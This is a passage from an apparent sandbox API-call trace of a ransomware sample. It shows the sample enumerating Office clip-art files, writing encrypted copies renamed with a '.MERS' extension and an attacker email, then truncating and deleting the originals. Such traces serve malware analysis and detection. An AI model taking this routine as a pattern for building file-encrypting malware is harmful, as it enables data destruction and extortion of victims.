[0261.650] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.650] lstrlenW (lpString=".xls") returned 4 [0261.650] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.650] lstrlenW (lpString=".xlsx") returned 5 [0261.650] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.650] lstrlenW (lpString=".ppt") returned 4 [0261.650] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.650] lstrlenW (lpString=".zip") returned 4 [0261.650] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.650] lstrlenW (lpString=".rar") returned 4 [0261.650] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.650] lstrlenW (lpString=".bz2") returned 4 [0261.650] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.650] lstrlenW (lpString=".7z") returned 3 [0261.651] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.651] lstrlenW (lpString=".dbf") returned 4 [0261.651] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.651] lstrlenW (lpString=".1cd") returned 4 [0261.651] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.651] lstrlenW (lpString=".jpg") returned 4 [0261.651] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.651] lstrlenW (lpString=".doc") returned 4 [0261.651] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.651] lstrlenW (lpString=".docx") returned 5 [0261.651] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.651] lstrlenW (lpString=".pdf") returned 4 [0261.651] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.651] lstrlenW (lpString=".xls") returned 4 [0261.651] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.651] lstrlenW (lpString=".xlsx") returned 5 [0261.651] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.651] lstrlenW (lpString=".ppt") returned 4 [0261.651] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.651] lstrlenW (lpString=".zip") returned 4 [0261.651] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.651] lstrlenW (lpString=".rar") returned 4 [0261.651] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.651] lstrlenW (lpString=".bz2") returned 4 [0261.652] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.652] lstrlenW (lpString=".7z") returned 3 [0261.652] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.652] lstrlenW (lpString=".dbf") returned 4 [0261.652] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.652] lstrlenW (lpString=".1cd") returned 4 [0261.652] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.652] lstrlenW (lpString=".jpg") returned 4 [0261.652] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.652] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0261.652] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0261.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.655] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=7567) returned 1 [0261.655] CloseHandle (hObject=0x39c) returned 1 [0261.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0261.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0261.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.655] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0261.655] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0261.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0261.656] GetLastError () returned 0x0 [0261.656] ReadFile (in: hFile=0x39c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0261.755] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0261.896] ReadFile (in: hFile=0x39c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0261.896] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.896] SetEndOfFile (hFile=0x3ac) returned 1 [0262.123] CloseHandle (hObject=0x3ac) returned 1 [0262.123] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.123] SetEndOfFile (hFile=0x39c) returned 1 [0262.125] CloseHandle (hObject=0x39c) returned 1 [0262.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0262.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.195] lstrlenW (lpString=".doc") returned 4 [0262.195] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.195] lstrlenW (lpString=".docx") returned 5 [0262.195] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.195] lstrlenW (lpString=".pdf") returned 4 [0262.195] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.195] lstrlenW (lpString=".xls") returned 4 [0262.195] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.195] lstrlenW (lpString=".xlsx") returned 5 [0262.195] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.195] lstrlenW (lpString=".ppt") returned 4 [0262.195] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.195] lstrlenW (lpString=".zip") returned 4 [0262.195] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.195] lstrlenW (lpString=".rar") returned 4 [0262.195] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.195] lstrlenW (lpString=".bz2") returned 4 [0262.195] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.195] lstrlenW (lpString=".7z") returned 3 [0262.195] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.196] lstrlenW (lpString=".dbf") returned 4 [0262.196] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.196] lstrlenW (lpString=".1cd") returned 4 [0262.196] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.196] lstrlenW (lpString=".jpg") returned 4 [0262.196] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.196] lstrlenW (lpString=".doc") returned 4 [0262.196] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.196] lstrlenW (lpString=".docx") returned 5 [0262.196] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.196] lstrlenW (lpString=".pdf") returned 4 [0262.196] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.196] lstrlenW (lpString=".xls") returned 4 [0262.196] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.197] lstrlenW (lpString=".xlsx") returned 5 [0262.197] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.197] lstrlenW (lpString=".ppt") returned 4 [0262.197] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.197] lstrlenW (lpString=".zip") returned 4 [0262.197] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.197] lstrlenW (lpString=".rar") returned 4 [0262.197] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.197] lstrlenW (lpString=".bz2") returned 4 [0262.197] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.197] lstrlenW (lpString=".7z") returned 3 [0262.197] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.197] lstrlenW (lpString=".dbf") returned 4 [0262.197] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.197] lstrlenW (lpString=".1cd") returned 4 [0262.197] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0262.197] lstrlenW (lpString=".jpg") returned 4 [0262.197] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.197] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0262.197] lstrlenW (lpString="HTECH_01.MID") returned 12 [0262.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0262.198] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=7178) returned 1 [0262.198] CloseHandle (hObject=0x3b0) returned 1 [0262.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0262.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0262.198] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.198] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.199] GetLastError () returned 0x0 [0262.199] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0262.240] WriteFile (in: hFile=0x39c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0262.241] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0262.241] WriteFile (in: hFile=0x39c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.241] SetEndOfFile (hFile=0x39c) returned 1 [0262.242] CloseHandle (hObject=0x39c) returned 1 [0262.242] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.242] SetEndOfFile (hFile=0x3b0) returned 1 [0262.260] CloseHandle (hObject=0x3b0) returned 1 [0262.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0262.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.286] lstrlenW (lpString=".doc") returned 4 [0262.286] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.286] lstrlenW (lpString=".docx") returned 5 [0262.286] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.286] lstrlenW (lpString=".pdf") returned 4 [0262.286] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.286] lstrlenW (lpString=".xls") returned 4 [0262.287] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.287] lstrlenW (lpString=".xlsx") returned 5 [0262.287] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.287] lstrlenW (lpString=".ppt") returned 4 [0262.287] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.287] lstrlenW (lpString=".zip") returned 4 [0262.287] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.287] lstrlenW (lpString=".rar") returned 4 [0262.287] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.287] lstrlenW (lpString=".bz2") returned 4 [0262.287] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.287] lstrlenW (lpString=".7z") returned 3 [0262.287] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.287] lstrlenW (lpString=".dbf") returned 4 [0262.287] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.287] lstrlenW (lpString=".1cd") returned 4 [0262.287] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.287] lstrlenW (lpString=".jpg") returned 4 [0262.287] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.287] lstrlenW (lpString=".doc") returned 4 [0262.288] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.288] lstrlenW (lpString=".docx") returned 5 [0262.288] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.288] lstrlenW (lpString=".pdf") returned 4 [0262.288] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.288] lstrlenW (lpString=".xls") returned 4 [0262.288] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.288] lstrlenW (lpString=".xlsx") returned 5 [0262.288] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.288] lstrlenW (lpString=".ppt") returned 4 [0262.288] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.288] lstrlenW (lpString=".zip") returned 4 [0262.288] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.288] lstrlenW (lpString=".rar") returned 4 [0262.288] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.288] lstrlenW (lpString=".bz2") returned 4 [0262.288] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.288] lstrlenW (lpString=".7z") returned 3 [0262.288] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.288] lstrlenW (lpString=".dbf") returned 4 [0262.288] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.288] lstrlenW (lpString=".1cd") returned 4 [0262.288] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0262.288] lstrlenW (lpString=".jpg") returned 4 [0262.288] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.289] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0262.289] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0262.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.290] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=5843) returned 1 [0262.290] CloseHandle (hObject=0x398) returned 1 [0262.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0262.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.290] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.290] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0262.291] GetLastError () returned 0x0 [0262.291] ReadFile (in: hFile=0x398, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x16d3, lpOverlapped=0x0) returned 1 [0262.329] WriteFile (in: hFile=0x360, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0262.331] ReadFile (in: hFile=0x398, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0262.331] WriteFile (in: hFile=0x360, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.331] SetEndOfFile (hFile=0x360) returned 1 [0262.331] CloseHandle (hObject=0x360) returned 1 [0262.331] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0262.331] SetEndOfFile (hFile=0x398) returned 1 [0262.333] CloseHandle (hObject=0x398) returned 1 [0262.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0262.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.337] lstrlenW (lpString=".doc") returned 4 [0262.337] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.337] lstrlenW (lpString=".docx") returned 5 [0262.337] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.337] lstrlenW (lpString=".pdf") returned 4 [0262.337] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.337] lstrlenW (lpString=".xls") returned 4 [0262.337] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.337] lstrlenW (lpString=".xlsx") returned 5 [0262.337] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.337] lstrlenW (lpString=".ppt") returned 4 [0262.337] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.337] lstrlenW (lpString=".zip") returned 4 [0262.337] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.337] lstrlenW (lpString=".rar") returned 4 [0262.337] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.337] lstrlenW (lpString=".bz2") returned 4 [0262.337] lstrcmpiW (lpString1=".bz2", lpString2=".MID") 